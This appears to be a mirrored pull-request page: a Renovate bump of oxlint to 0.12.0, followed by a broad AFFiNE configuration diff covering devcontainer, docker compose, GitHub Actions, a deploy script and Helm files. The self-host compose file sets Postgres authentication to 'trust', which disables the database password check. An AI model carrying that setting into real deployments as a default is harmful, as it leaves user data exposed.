| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.11.1` -> `0.12.0`](https://renovatebot.com/diffs/npm/oxlint/0.11.1/0.12.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.11.1/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.11.1/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.12.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0120---2024-11-20)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.11.1...oxlint_v0.12.0)

##### Features

-   [`2268a0e`](https://redirect.github.com/oxc-project/oxc/commit/2268a0e) linter: Support `overrides` config field ([#&#8203;6974](https://redirect.github.com/oxc-project/oxc/issues/6974)) (DonIsaac)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-20 12:07:35 +00:00
5263 changed files with 471779 additions and 75314 deletions
+4
View File
@@ -2,3 +2,7 @@
rustflags = ["-C", "target-feature=+crt-static"]
[target.aarch64-pc-windows-msvc]
rustflags = ["-C", "target-feature=+crt-static"]
[target.'cfg(target_os = "linux")']
rustflags = ["-C", "link-args=-Wl,--warn-unresolved-symbols"]
[target.'cfg(target_os = "macos")']
rustflags = ["-C", "link-args=-all_load"]
+1
View File
@@ -1,5 +1,6 @@
FROM mcr.microsoft.com/devcontainers/base:bookworm
USER vscode
# Install Homebrew For Linux
RUN /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && \
eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" && \
+2 -2
View File
@@ -9,7 +9,7 @@ corepack prepare yarn@stable --activate
yarn install
# Build Server Dependencies
yarn workspace @affine/server-native build
yarn affine @affine/server-native build
# Create database
yarn workspace @affine/server prisma db push
yarn affine @affine/server prisma db push
+1 -2
View File
@@ -21,6 +21,5 @@
}
},
"updateContentCommand": "bash ./.devcontainer/build.sh",
"postCreateCommand": "bash ./.devcontainer/setup-user.sh",
"postStartCommand": ["yarn dev", "yarn workspace @affine/server dev"]
"postCreateCommand": "bash ./.devcontainer/setup-user.sh"
}
+5
View File
@@ -11,6 +11,7 @@ services:
network_mode: service:db
environment:
DATABASE_URL: postgresql://affine:affine@db:5432/affine
REDIS_SERVER_HOST: redis
db:
image: postgres:latest
@@ -21,6 +22,10 @@ services:
POSTGRES_PASSWORD: affine
POSTGRES_USER: affine
POSTGRES_DB: affine
redis:
image: redis
ports:
- 6379:6379
volumes:
postgres-data:
+3
View File
@@ -0,0 +1,3 @@
DB_PASSWORD=affine
DB_USERNAME=affine
DB_DATABASE_NAME=affine
+3
View File
@@ -0,0 +1,3 @@
postgres
.env
compose.yml
+31
View File
@@ -0,0 +1,31 @@
name: affine_dev_services
services:
postgres:
env_file:
- .env
image: postgres:16
ports:
- 5432:5432
environment:
POSTGRES_PASSWORD: ${DB_PASSWORD}
POSTGRES_USER: ${DB_USERNAME}
POSTGRES_DB: ${DB_DATABASE_NAME}
volumes:
- postgres_data:/var/lib/postgresql/data
redis:
image: redis:latest
ports:
- 6379:6379
mailhog:
image: mailhog/mailhog:latest
ports:
- 1025:1025
- 8025:8025
networks:
dev:
volumes:
postgres_data:
+23
View File
@@ -0,0 +1,23 @@
# select a revision to deploy, available values: stable, beta, canary
AFFINE_REVISION=stable
# set the port for the server container it will expose the server on
PORT=3010
# set the host for the server for outgoing links
# AFFINE_SERVER_HTTPS=true
# AFFINE_SERVER_HOST=affine.yourdomain.com
# or
# AFFINE_SERVER_EXTERNAL_URL=https://affine.yourdomain.com
# position of the database data to persist
DB_DATA_LOCATION=~/.affine/self-host/postgres/pgdata
# position of the upload data(images, files, etc.) to persist
UPLOAD_LOCATION=~/.affine/self-host/storage
# position of the configuration files to persist
CONFIG_LOCATION=~/.affine/self-host/config
# database credentials
DB_USERNAME=affine
DB_PASSWORD=
DB_DATABASE=affine
+74
View File
@@ -0,0 +1,74 @@
name: affine
services:
affine:
image: ghcr.io/toeverything/affine-graphql:${AFFINE_REVISION:-stable}
container_name: affine_server
ports:
- '${PORT:-3010}:3010'
depends_on:
redis:
condition: service_healthy
postgres:
condition: service_healthy
affine_migration:
condition: service_completed_successfully
volumes:
# custom configurations
- ${UPLOAD_LOCATION}:/root/.affine/storage
- ${CONFIG_LOCATION}:/root/.affine/config
env_file:
- .env
environment:
- REDIS_SERVER_HOST=redis
- DATABASE_URL=postgresql://${DB_USERNAME}:${DB_PASSWORD}@postgres:5432/${DB_DATABASE:-affine}
restart: unless-stopped
affine_migration:
image: ghcr.io/toeverything/affine-graphql:${AFFINE_REVISION:-stable}
container_name: affine_migration_job
volumes:
# custom configurations
- ${UPLOAD_LOCATION}:/root/.affine/storage
- ${CONFIG_LOCATION}:/root/.affine/config
command: ['sh', '-c', 'node ./scripts/self-host-predeploy.js']
env_file:
- .env
environment:
- REDIS_SERVER_HOST=redis
- DATABASE_URL=postgresql://${DB_USERNAME}:${DB_PASSWORD}@postgres:5432/${DB_DATABASE:-affine}
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
redis:
image: redis
container_name: redis
healthcheck:
test: ['CMD', 'redis-cli', '--raw', 'incr', 'ping']
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
postgres:
image: postgres:16
container_name: postgres
volumes:
- ${DB_DATA_LOCATION}:/var/lib/postgresql/data
environment:
POSTGRES_USER: ${DB_USERNAME}
POSTGRES_PASSWORD: ${DB_PASSWORD}
POSTGRES_DB: ${DB_DATABASE:-affine}
POSTGRES_INITDB_ARGS: '--data-checksums'
# you better set a password for you database
# or you may add 'POSTGRES_HOST_AUTH_METHOD=trust' to ignore postgres security policy
POSTGRES_HOST_AUTH_METHOD: trust
healthcheck:
test:
['CMD', 'pg_isready', '-U', "${DB_USERNAME}", '-d', "${DB_DATABASE:-affine}"]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
-7
View File
@@ -1,7 +0,0 @@
CHANGELOG_URL=
ENABLE_NEW_SETTING_UNSTABLE_API=
ENABLE_CAPTCHA=
CAPTCHA_SITE_KEY=
ENABLE_ENHANCE_SHARE_MODE=
ALLOW_LOCAL_WORKSPACE=
DEBUG_JOTAI=
-16
View File
@@ -1,16 +0,0 @@
node_modules
dist
.next
out
storybook-static
affine-out
_next
lib
.eslintrc.js
e2e-dist-*
static
web-static
public
packages/frontend/i18n/src/i18n-generated.ts
packages/frontend/i18n/src/i18n-completenesses.json
packages/frontend/templates/*.gen.ts
-289
View File
@@ -1,289 +0,0 @@
const { join } = require('node:path');
const createPattern = packageName => [
{
group: ['**/dist', '**/dist/**'],
message: 'Do not import from dist',
allowTypeImports: false,
},
{
group: ['**/src', '**/src/**'],
message: 'Do not import from src',
allowTypeImports: false,
},
{
group: [`@affine/${packageName}`],
message: 'Do not import package itself',
allowTypeImports: false,
},
{
group: [`@toeverything/${packageName}`],
message: 'Do not import package itself',
allowTypeImports: false,
},
{
group: ['@blocksuite/store'],
message: "Import from '@blocksuite/global/utils'",
importNames: ['assertExists', 'assertEquals'],
},
{
group: ['react-router-dom'],
message: 'Use `useNavigateHelper` instead',
importNames: ['useNavigate'],
},
{
group: ['@affine/env/constant'],
message:
'Do not import from @affine/env/constant. Use `BUILD_CONFIG.isElectron` instead',
importNames: ['isElectron'],
},
];
const allPackages = [
'packages/backend/server',
'packages/frontend/component',
'packages/frontend/core',
'packages/frontend/apps/electron',
'packages/frontend/apps/web',
'packages/frontend/apps/mobile',
'packages/frontend/graphql',
'packages/frontend/i18n',
'packages/frontend/native',
'packages/frontend/templates',
'packages/frontend/track',
'packages/common/debug',
'packages/common/env',
'packages/common/infra',
'packages/common/theme',
'tools/cli',
];
/**
* @type {import('eslint').Linter.Config}
*/
const config = {
root: true,
settings: {
react: {
version: 'detect',
},
next: {
rootDir: 'packages/frontend/core',
},
},
extends: [
'eslint:recommended',
'plugin:react-hooks/recommended',
'plugin:react/recommended',
'plugin:react/jsx-runtime',
'plugin:@typescript-eslint/recommended',
'prettier',
],
parser: '@typescript-eslint/parser',
parserOptions: {
ecmaFeatures: {
globalReturn: false,
impliedStrict: true,
jsx: true,
},
ecmaVersion: 'latest',
sourceType: 'module',
project: join(__dirname, 'tsconfig.eslint.json'),
},
plugins: [
'react',
'@typescript-eslint',
'simple-import-sort',
'sonarjs',
'import-x',
'unused-imports',
'unicorn',
'rxjs',
],
rules: {
'array-callback-return': 'error',
'no-undef': 'off',
'no-empty': 'off',
'no-func-assign': 'off',
'no-cond-assign': 'off',
'no-constant-binary-expression': 'error',
'no-constructor-return': 'error',
'no-self-compare': 'error',
eqeqeq: ['error', 'always', { null: 'ignore' }],
'react/prop-types': 'off',
'react/jsx-no-useless-fragment': 'error',
'@typescript-eslint/consistent-type-imports': 'error',
'@typescript-eslint/no-non-null-assertion': 'error',
'@typescript-eslint/no-explicit-any': 'off',
'@typescript-eslint/no-empty-function': 'off',
'@typescript-eslint/await-thenable': 'error',
'@typescript-eslint/require-array-sort-compare': 'error',
'@typescript-eslint/unified-signatures': 'error',
'@typescript-eslint/prefer-for-of': 'error',
'@typescript-eslint/no-unused-vars': [
'error',
{
varsIgnorePattern: '^_',
argsIgnorePattern: '^_',
caughtErrorsIgnorePattern: '^_',
},
],
'unused-imports/no-unused-imports': 'error',
'simple-import-sort/imports': 'error',
'simple-import-sort/exports': 'error',
'import-x/no-duplicates': 'error',
'@typescript-eslint/ban-ts-comment': [
'error',
{
'ts-expect-error': 'allow-with-description',
'ts-ignore': true,
'ts-nocheck': true,
'ts-check': false,
},
],
'@typescript-eslint/no-restricted-imports': [
'error',
{
patterns: [
{
group: ['**/dist'],
message: "Don't import from dist",
allowTypeImports: false,
},
{
group: ['**/src'],
message: "Don't import from src",
allowTypeImports: false,
},
{
group: ['@blocksuite/store'],
message: "Import from '@blocksuite/global/utils'",
importNames: ['assertExists', 'assertEquals'],
},
],
},
],
'unicorn/filename-case': [
'error',
{
case: 'kebabCase',
ignore: ['^\\[[a-zA-Z0-9-_]+\\]\\.tsx$'],
},
],
'unicorn/no-unnecessary-await': 'error',
'unicorn/no-useless-fallback-in-spread': 'error',
'unicorn/prefer-dom-node-dataset': 'error',
'unicorn/prefer-dom-node-append': 'error',
'unicorn/prefer-dom-node-remove': 'error',
'unicorn/prefer-array-some': 'error',
'unicorn/prefer-date-now': 'error',
'unicorn/prefer-blob-reading-methods': 'error',
'unicorn/no-typeof-undefined': 'error',
'unicorn/no-useless-promise-resolve-reject': 'error',
'unicorn/no-new-array': 'error',
'unicorn/new-for-builtins': 'error',
'unicorn/prefer-node-protocol': 'error',
'sonarjs/no-all-duplicated-branches': 'error',
'sonarjs/no-element-overwrite': 'error',
'sonarjs/no-empty-collection': 'error',
'sonarjs/no-extra-arguments': 'error',
'sonarjs/no-identical-conditions': 'error',
'sonarjs/no-identical-expressions': 'error',
'sonarjs/no-ignored-return': 'error',
'sonarjs/no-one-iteration-loop': 'error',
'sonarjs/no-use-of-empty-return-value': 'error',
'sonarjs/non-existent-operator': 'error',
'sonarjs/no-collapsible-if': 'error',
'sonarjs/no-same-line-conditional': 'error',
'sonarjs/no-duplicated-branches': 'error',
'sonarjs/no-collection-size-mischeck': 'error',
'sonarjs/no-useless-catch': 'error',
'sonarjs/no-identical-functions': 'error',
'rxjs/finnish': [
'error',
{
functions: false,
methods: false,
strict: true,
types: {
'^LiveData$': true,
// some yjs classes are Observables, but they don't need to be in Finnish notation
'^Doc$': false, // yjs Doc
'^Awareness$': false, // yjs Awareness
'^UndoManager$': false, // yjs UndoManager
},
},
],
},
overrides: [
{
files: 'packages/backend/server/**/*.ts',
rules: {
'@typescript-eslint/consistent-type-imports': 0,
},
},
{
files: '*.cjs',
rules: {
'@typescript-eslint/no-var-requires': 0,
},
},
...allPackages.map(pkg => ({
files: [`${pkg}/src/**/*.ts`, `${pkg}/src/**/*.tsx`, `${pkg}/**/*.mjs`],
rules: {
'@typescript-eslint/no-restricted-imports': [
'error',
{
patterns: createPattern(pkg),
},
],
'@typescript-eslint/no-floating-promises': [
'error',
{
ignoreVoid: false,
ignoreIIFE: false,
},
],
'@typescript-eslint/no-misused-promises': ['error'],
'@typescript-eslint/prefer-readonly': 'error',
'import-x/no-extraneous-dependencies': ['error'],
'react-hooks/exhaustive-deps': [
'warn',
{
additionalHooks:
'(useAsyncCallback|useCatchEventCallback|useDraggable|useDropTarget|useRefEffect)',
},
],
},
})),
{
files: [
'**/__tests__/**/*',
'**/*.stories.tsx',
'**/*.spec.ts',
'**/tests/**/*',
'scripts/**/*',
'**/benchmark/**/*',
'**/__debug__/**/*',
'**/e2e/**/*',
],
rules: {
'@typescript-eslint/no-non-null-assertion': 0,
'@typescript-eslint/ban-ts-comment': [
'error',
{
'ts-expect-error': false,
'ts-ignore': true,
'ts-nocheck': true,
'ts-check': false,
},
],
'@typescript-eslint/no-floating-promises': 0,
'@typescript-eslint/no-misused-promises': 0,
'@typescript-eslint/no-restricted-imports': 0,
},
},
],
};
module.exports = config;
+1
View File
@@ -0,0 +1 @@
/blocksuite/ @toeverything/blocksuite-core
+46 -12
View File
@@ -7,9 +7,10 @@ inputs:
package:
description: 'Package to build'
required: true
nx_token:
description: 'Nx Cloud access token'
no-build:
description: 'Whether to skip building'
required: false
default: 'false'
runs:
using: 'composite'
@@ -17,39 +18,72 @@ runs:
- name: Print rustup toolchain version
shell: bash
id: rustup-version
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
run: |
export RUST_TOOLCHAIN_VERSION="$(grep 'channel' rust-toolchain.toml | head -1 | awk -F '"' '{print $2}')"
echo "Rust toolchain version: $RUST_TOOLCHAIN_VERSION"
echo "RUST_TOOLCHAIN_VERSION=$RUST_TOOLCHAIN_VERSION" >> "$GITHUB_OUTPUT"
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
if: ${{ runner.os != 'Windows' }}
with:
toolchain: '${{ steps.rustup-version.outputs.RUST_TOOLCHAIN_VERSION }}'
targets: ${{ inputs.target }}
env:
CARGO_INCREMENTAL: '1'
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
if: ${{ runner.os == 'Windows' }}
with:
toolchain: '${{ steps.rustup-version.outputs.RUST_TOOLCHAIN_VERSION }}'
targets: ${{ inputs.target }}
env:
CARGO_INCREMENTAL: '1'
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
- name: Set CC
if: ${{ contains(inputs.target, 'linux') && inputs.package != '@affine/native' }}
if: ${{ contains(inputs.target, 'linux') && inputs.package != '@affine/native' && inputs.no-build != 'true' }}
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
shell: bash
run: |
echo "CC=clang" >> "$GITHUB_ENV"
echo "TARGET_CC=clang" >> "$GITHUB_ENV"
- name: Cache cargo
uses: actions/cache@v4
uses: Swatinem/rust-cache@v2
if: ${{ runner.os == 'Windows' }}
with:
path: |
~/.cargo/registry/index/
~/.cargo/registry/cache/
~/.cargo/git/db/
~/.napi-rs
target/${{ inputs.target }}
key: stable-${{ inputs.target }}-cargo-cache
workspaces: ${{ env.DEV_DRIVE_WORKSPACE }}
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
env:
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
- name: Cache cargo
uses: Swatinem/rust-cache@v2
if: ${{ runner.os != 'Windows' }}
with:
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
- name: Build
shell: bash
if: ${{ runner.os != 'Windows' && inputs.no-build != 'true' }}
run: |
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
env:
NX_CLOUD_ACCESS_TOKEN: ${{ inputs.nx_token }}
DEBUG: 'napi:*'
- name: Build
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
shell: bash
if: ${{ runner.os == 'Windows' && inputs.no-build != 'true' }}
run: |
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
env:
DEBUG: 'napi:*'
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
+2 -1
View File
@@ -3,7 +3,7 @@ description: 'Run Copilot E2E Test'
inputs:
script:
description: 'Script to run'
default: 'yarn workspace @affine-test/affine-cloud-copilot e2e --forbid-only'
default: 'yarn affine @affine-test/affine-cloud-copilot e2e --forbid-only'
required: false
openai-key:
description: 'OpenAI secret key'
@@ -26,6 +26,7 @@ runs:
DEV_SERVER_URL: http://localhost:8080
COPILOT_OPENAI_API_KEY: ${{ inputs.openai-key }}
COPILOT_FAL_API_KEY: ${{ inputs.fal-key }}
COPILOT_PERPLEXITY_API_KEY: ${{ inputs.perplexity-key }}
- name: Upload test results
if: ${{ failure() }}
+11
View File
@@ -17,6 +17,7 @@ const {
METRICS_CUSTOMER_IO_TOKEN,
COPILOT_OPENAI_API_KEY,
COPILOT_FAL_API_KEY,
COPILOT_PERPLEXITY_API_KEY,
COPILOT_UNSPLASH_API_KEY,
MAILER_SENDER,
MAILER_USER,
@@ -46,18 +47,21 @@ const replicaConfig = {
graphql: Number(process.env.PRODUCTION_GRAPHQL_REPLICA) || 3,
sync: Number(process.env.PRODUCTION_SYNC_REPLICA) || 3,
renderer: Number(process.env.PRODUCTION_RENDERER_REPLICA) || 3,
doc: Number(process.env.PRODUCTION_DOC_REPLICA) || 3,
},
beta: {
web: 2,
graphql: Number(process.env.BETA_GRAPHQL_REPLICA) || 2,
sync: Number(process.env.BETA_SYNC_REPLICA) || 2,
renderer: Number(process.env.BETA_RENDERER_REPLICA) || 2,
doc: Number(process.env.BETA_DOC_REPLICA) || 2,
},
canary: {
web: 2,
graphql: 2,
sync: 2,
renderer: 2,
doc: 2,
},
};
@@ -66,12 +70,14 @@ const cpuConfig = {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
canary: {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
};
@@ -110,6 +116,7 @@ const createHelmCommand = ({ isDryRun }) => {
`--set web.resources.requests.cpu="${cpu.web}"`,
`--set graphql.resources.requests.cpu="${cpu.graphql}"`,
`--set sync.resources.requests.cpu="${cpu.sync}"`,
`--set doc.resources.requests.cpu="${cpu.doc}"`,
]
: [];
@@ -147,6 +154,7 @@ const createHelmCommand = ({ isDryRun }) => {
`--set graphql.app.copilot.enabled=true`,
`--set-string graphql.app.copilot.openai.key="${COPILOT_OPENAI_API_KEY}"`,
`--set-string graphql.app.copilot.fal.key="${COPILOT_FAL_API_KEY}"`,
`--set-string graphql.app.copilot.perplexity.key="${COPILOT_PERPLEXITY_API_KEY}"`,
`--set-string graphql.app.copilot.unsplash.key="${COPILOT_UNSPLASH_API_KEY}"`,
`--set-string graphql.app.mailer.sender="${MAILER_SENDER}"`,
`--set-string graphql.app.mailer.user="${MAILER_USER}"`,
@@ -166,6 +174,9 @@ const createHelmCommand = ({ isDryRun }) => {
`--set-string renderer.image.tag="${imageTag}"`,
`--set renderer.app.host=${host}`,
`--set renderer.replicaCount=${replica.renderer}`,
`--set-string doc.image.tag="${imageTag}"`,
`--set doc.app.host=${host}`,
`--set doc.replicaCount=${replica.doc}`,
...serviceAnnotations,
...resources,
`--timeout 10m`,
+5 -3
View File
@@ -15,7 +15,9 @@ runs:
- name: Run init-db script
shell: bash
env:
NODE_ENV: test
run: |
yarn workspace @affine/server exec prisma generate
yarn workspace @affine/server exec prisma db push
yarn workspace @affine/server data-migration run
yarn affine @affine/server prisma generate
yarn affine @affine/server prisma db push
yarn affine @affine/server data-migration run
+41 -25
View File
@@ -35,10 +35,19 @@ inputs:
full-cache:
description: 'Full installation cache'
required: false
runs:
using: 'composite'
steps:
- name: Output workspace path
id: workspace-path
shell: bash
run: |
if [ -n "${{ env.DEV_DRIVE_WORKSPACE }}" ]; then
echo "workspace_path=${{ env.DEV_DRIVE_WORKSPACE }}" >> $GITHUB_OUTPUT
else
echo "workspace_path=${{ github.workspace }}" >> $GITHUB_OUTPUT
fi
- name: Setup Node.js
uses: actions/setup-node@v4
with:
@@ -46,29 +55,37 @@ runs:
registry-url: https://npm.pkg.github.com
scope: '@toeverything'
- uses: kenchan0130/actions-system-info@master
id: system-info
- name: Init CorePack
if: ${{ inputs.corepack-install == 'true' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: corepack enable
- name: Set nmMode
if: ${{ inputs.hard-link-nm == 'false' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn config set nmMode classic
- name: Set nmHoistingLimits
if: ${{ inputs.nmHoistingLimits }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn config set nmHoistingLimits ${{ inputs.nmHoistingLimits }}
- name: Set enableScripts
if: ${{ inputs.enableScripts == 'false' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn config set enableScripts false
- name: Set yarn global cache path
shell: bash
id: yarn-cache
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: node -e "const p = $(yarn config cacheFolder --json).effective; console.log('yarn_global_cache=' + p)" >> $GITHUB_OUTPUT
- name: Cache non-full yarn cache on Linux
@@ -76,9 +93,9 @@ runs:
if: ${{ inputs.full-cache != 'true' && runner.os == 'Linux' }}
with:
path: |
node_modules
${{ steps.workspace-path.outputs.workspace_path }}/node_modules
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
# The network performance on macOS is very poor
# and the decompression performance on Windows is very terrible
@@ -89,7 +106,7 @@ runs:
with:
path: |
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
- name: Cache full yarn cache on Linux
uses: actions/cache@v4
@@ -98,7 +115,7 @@ runs:
path: |
node_modules
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-full-${{ runner.os }}
key: node_modules-cache-full-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
- name: Cache full yarn cache on non-Linux
uses: actions/cache@v4
@@ -106,23 +123,13 @@ runs:
with:
path: |
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-full-${{ runner.os }}
key: node_modules-cache-full-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
- name: yarn install
if: ${{ inputs.package-install == 'true' }}
continue-on-error: true
shell: bash
run: yarn ${{ inputs.extra-flags }}
env:
HUSKY: '0'
PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD: '1'
ELECTRON_SKIP_BINARY_DOWNLOAD: '1'
SENTRYCLI_SKIP_DOWNLOAD: '1'
DEBUG: '*'
- name: yarn install (try again)
if: ${{ steps.install.outcome == 'failure' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn ${{ inputs.extra-flags }}
env:
HUSKY: '0'
@@ -135,6 +142,7 @@ runs:
id: playwright-version
if: ${{ inputs.playwright-install == 'true' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: echo "version=$(yarn why --json @playwright/test | grep -h 'workspace:.' | jq --raw-output '.children[].locator' | sed -e 's/@playwright\/test@.*://' | head -n 1)" >> $GITHUB_OUTPUT
# Attempt to restore the correct Playwright browser binaries based on the
@@ -147,8 +155,8 @@ runs:
id: playwright-cache
if: ${{ inputs.playwright-install == 'true' }}
with:
path: ${{ github.workspace }}/node_modules/.cache/ms-playwright
key: '${{ runner.os }}-playwright-${{ steps.playwright-version.outputs.version }}'
path: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/ms-playwright
key: '${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-playwright-${{ steps.playwright-version.outputs.version }}'
# As a fallback, if the Playwright version has changed, try use the
# most recently cached version. There's a good chance that at least one
# of the browser binary versions haven't been updated, so Playwright can
@@ -158,7 +166,7 @@ runs:
# date cache, but still let Playwright decide if it needs to download
# new binaries or not.
restore-keys: |
${{ runner.os }}-playwright-
${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-playwright-
# If the Playwright browser binaries weren't able to be restored, we tell
# playwright to install everything for us.
@@ -166,12 +174,14 @@ runs:
shell: bash
if: inputs.playwright-install == 'true'
run: yarn playwright install --with-deps chromium webkit
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
env:
PLAYWRIGHT_BROWSERS_PATH: ${{ github.workspace }}/node_modules/.cache/ms-playwright
PLAYWRIGHT_BROWSERS_PATH: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/ms-playwright
- name: Get installed Electron version
id: electron-version
if: ${{ inputs.electron-install == 'true' }}
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
shell: bash
run: |
echo "version=$(yarn why --json electron | grep -h 'workspace:.' | jq --raw-output '.children[].locator' | sed -e 's/@playwright\/test@.*://' | head -n 1)" >> $GITHUB_OUTPUT
@@ -180,14 +190,20 @@ runs:
id: electron-cache
if: ${{ inputs.electron-install == 'true' }}
with:
path: 'node_modules/.cache/electron'
key: '${{ runner.os }}-electron-${{ steps.electron-version.outputs.version }}'
path: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/electron
key: '${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-electron-${{ steps.electron-version.outputs.version }}'
restore-keys: |
${{ runner.os }}-electron-
${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-electron-
- name: Install Electron binary
shell: bash
if: inputs.electron-install == 'true'
run: node ./node_modules/electron/install.js
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
env:
electron_config_cache: ./node_modules/.cache/electron
electron_config_cache: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/electron
- name: Write PLAYWRIGHT_BROWSERS_PATH env
shell: bash
run: |
echo "PLAYWRIGHT_BROWSERS_PATH=${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/ms-playwright" >> $GITHUB_ENV
-28
View File
@@ -1,28 +0,0 @@
name: 'Rust setup'
description: 'Rust setup, including cache configuration'
inputs:
components:
description: 'Cargo components'
required: false
targets:
description: 'Cargo target'
required: false
toolchain:
description: 'Rustup toolchain'
required: false
default: 'stable'
runs:
using: 'composite'
steps:
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: ${{ inputs.toolchain }}
targets: ${{ inputs.targets }}
components: ${{ inputs.components }}
- name: Add Targets
if: ${{ inputs.targets }}
run: rustup target add ${{ inputs.targets }}
shell: bash
- uses: Swatinem/rust-cache@v2
+1 -1
View File
@@ -1,4 +1,4 @@
FROM node:20-bookworm-slim
FROM node:22-bookworm-slim
COPY ./packages/backend/server /app
COPY ./packages/frontend/apps/web/dist /app/static
+1 -1
View File
@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.18.0"
appVersion: "0.19.0"
+11
View File
@@ -0,0 +1,11 @@
apiVersion: v2
name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0
repository: "file://../gcloud-sql-proxy"
condition: .global.database.gcloud.enabled
@@ -0,0 +1,16 @@
1. Get the application URL by running these commands:
{{- if contains "NodePort" .Values.service.type }}
